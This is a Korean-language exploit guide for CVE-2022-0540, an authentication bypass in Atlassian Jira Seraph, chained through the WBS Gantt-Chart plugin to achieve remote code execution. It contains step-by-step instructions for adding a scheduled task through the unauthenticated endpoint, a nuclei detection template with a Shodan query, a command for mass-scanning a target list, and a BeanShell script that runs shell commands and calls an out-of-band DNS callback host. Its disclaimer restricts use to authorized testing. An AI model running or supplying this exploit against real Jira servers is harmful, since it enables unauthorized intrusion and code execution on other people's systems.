
Atlassian Jira Seraph 인증 우회 원격 코드 실행(CVE-2022-0540)
작성자의 블로그에서 볼 수 있듯이, Atlassian은 영향을 받는 플러그인의 긴 목록을 제공했으며(대부분 거짓 양성이었음), 작성자는 몇 가지 실제 영향을 받는 플러그인을 나열했습니다.

제시된 조건에 따라, Jira용 WBS Gantt-Chart 공식 문서와 결합하면

본질적으로, 작업 스케줄러 모듈 Task의 Beanshell Script를 사용한 RCE이며, 익스플로잇 세부 사항은 다음과 같습니다.
Proxy > Options > Match and Replace를 사용하여 규칙을 편집하는 것이 좋습니다.
http://IP:PORT/secure/WBSGanttManageScheduleJobAction.jspa;를 열면 작업 스케줄러 구성을 확인할 수 있습니다.
최종 Beanshell Script가 예약된 작업으로 실행되므로, 편집을 클릭하고 Cron 형식에 따라 수정하여 실행 간격을 편리하게 조정할 수 있습니다.


구성이 완료되면 업데이트를 클릭하지만 로그인 페이지로 이동합니다. 걱정하지 마세요. Task는 실제로 백그라운드에서 추가되었습니다.

새로 생성된 Task는 기본적으로 비활성화되어 있으므로, 수동으로 활성화로 변경한 후 스크립트가 실행될 때까지 몇 초 기다려야 합니다.

동시에 작업 스케줄러에서 실행 완료 프롬프트를 확인할 수 있습니다.

전제 조건
WBS Gantt-Chart for Jira <= 9.14.3.1
id: CVE-2022-0540
info:
name: Atlassian Jira Seraph - Authentication Bypass Verify Exploitable(CVE-2022-0540)
author: DhiyaneshDK
severity: critical
description: |
Jira Seraph allows a remote, unauthenticated attacker to bypass authentication by sending a specially crafted HTTP request. This affects Atlassian Jira Server and Data Center versions before 8.13.18, versions 8.14.0 and later before 8.20.6, and versions 8.21.0 and later before 8.22.0. This also affects Atlassian Jira Service Management Server and Data Center versions before 4.13.18, versions 4.14.0 and later before 4.20.6, and versions 4.21.0 and later before 4.22.0.
reference:
- https://blog.viettelcybersecurity.com/cve-2022-0540-authentication-bypass-in-seraph/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0540
- https://confluence.atlassian.com/display/JIRA/Jira+Security+Advisory+2022-04-20
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-0540
cwe-id: CWE-287
metadata:
shodan-query: http.component:"Atlassian Jira"
tags: cve,cve2022,atlassian,jira,exposure,auth-bypass
requests:
- method: GET
path:
- '{{BaseURL}}/secure/WBSGanttManageScheduleJobAction.jspa;'
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'WBS Gantt-Chart'
- type: regex
regex:
- '<td headers="name">([.|\D]*?)</td>'
dsl: []
- type: status
status:
- 200
실행 데모
nuclei -l targets.txt -t exploit.yaml
스크린샷

https://blog.viettelcybersecurity.com/cve-2022-0540-authentication-bypass-in-seraph/
Beanshell 스크립트
import java.io.IOException;
import java.lang.*;
Runtime runtime = Runtime.getRuntime();
try {
String command = "ping -nc 1 55d2721a.dns.1433.eu.org";
if (System.getProperty("os.name").toLowerCase().contains("windows")) {
runtime.exec(new String[]{"cmd.exe", "/c", command});
} else {
runtime.exec(new String[]{"/bin/bash", "-c", command});
}
} catch (IOException e) {
e.printStackTrace();
}
이 문서에 언급된 정보는 합법적이고 승인된 침투 테스트, 내부 회사 보안 점검 및 연구 목적으로만 사용됩니다. 사용자는 이 문서에서 제공된 정보를 사용하여 발생하는 모든 불리한 결과에 대한 책임을 집니다.